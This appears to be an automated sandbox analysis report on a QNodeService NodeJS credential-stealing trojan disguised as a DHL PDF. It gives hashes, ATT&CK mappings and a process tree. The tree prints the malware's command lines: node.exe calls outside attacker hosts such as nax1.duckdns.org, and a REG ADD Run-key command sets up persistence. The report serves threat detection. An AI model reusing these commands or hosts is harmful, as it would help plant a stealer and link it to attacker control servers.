qnodeservice | 732389d36893f1f46024d4a4fecc3881f1d913818a34b676782115ab89023697

General

Target

DHL AWB.pdf.jar
Size

12KB
MD5

8884e6fdb451ba445b40b41d99cfc162
SHA1

fa3ec63c146dd38cd98b9f478bb26c9028ff36cf
SHA256

732389d36893f1f46024d4a4fecc3881f1d913818a34b676782115ab89023697
SHA512

c59ed8982e490314604c81f062dcccf6d8bc529ecad5bb03acdadfc0690f8f8e9aa3f9e5eb3e92f3af8998224e65d3c3045bfdf21cca86de35a34a1bbf16eddb

Score

10^/10

persistence trojan qnodeservice spyware

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bfca-116.dat	family_qnodeservice

Executes dropped EXE 2 IoCs

pid	Process
632	node.exe
1104	node.exe

Loads dropped DLL 4 IoCs

pid	Process
1104	node.exe
1104	node.exe
1104	node.exe
1104	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-16ca9dcf = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-16ca9dcf.cmd\""	reg.exe

JavaScript code in executable 2 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad89-114.dat	js
behavioral2/files/0x000100000001ad89-120.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	wtfismyip.com
11	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1104	node.exe
1104	node.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3832 wrote to memory of 632	3832	java.exe	68
PID 3832 wrote to memory of 632	3832	java.exe	68
PID 632 wrote to memory of 1000	632	node.exe	69
PID 632 wrote to memory of 1000	632	node.exe	69
PID 1000 wrote to memory of 852	1000	cmd.exe	70
PID 1000 wrote to memory of 852	1000	cmd.exe	70
PID 632 wrote to memory of 1104	632	node.exe	71
PID 632 wrote to memory of 1104	632	node.exe	71

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL AWB.pdf.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3832
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://nax1.spdns.org --central-base-url https://nax1.duckdns.org --central-base-url https://nax1.theworkpc.com
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-16ca9dcf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-16ca9dcf.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1000
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-16ca9dcf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-16ca9dcf.cmd\""
      4⤵
      Adds Run key to start application
      PID:852
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://nax1.spdns.org --central-base-url https://nax1.duckdns.org --central-base-url https://nax1.theworkpc.com
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:1104

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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Downloads

memory/632-115-0x0000023A09940000-0x0000023A09941000-memory.dmp

Filesize
4KB

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memory/1104-121-0x0000033DDA680000-0x0000033DDA681000-memory.dmp

Filesize
4KB

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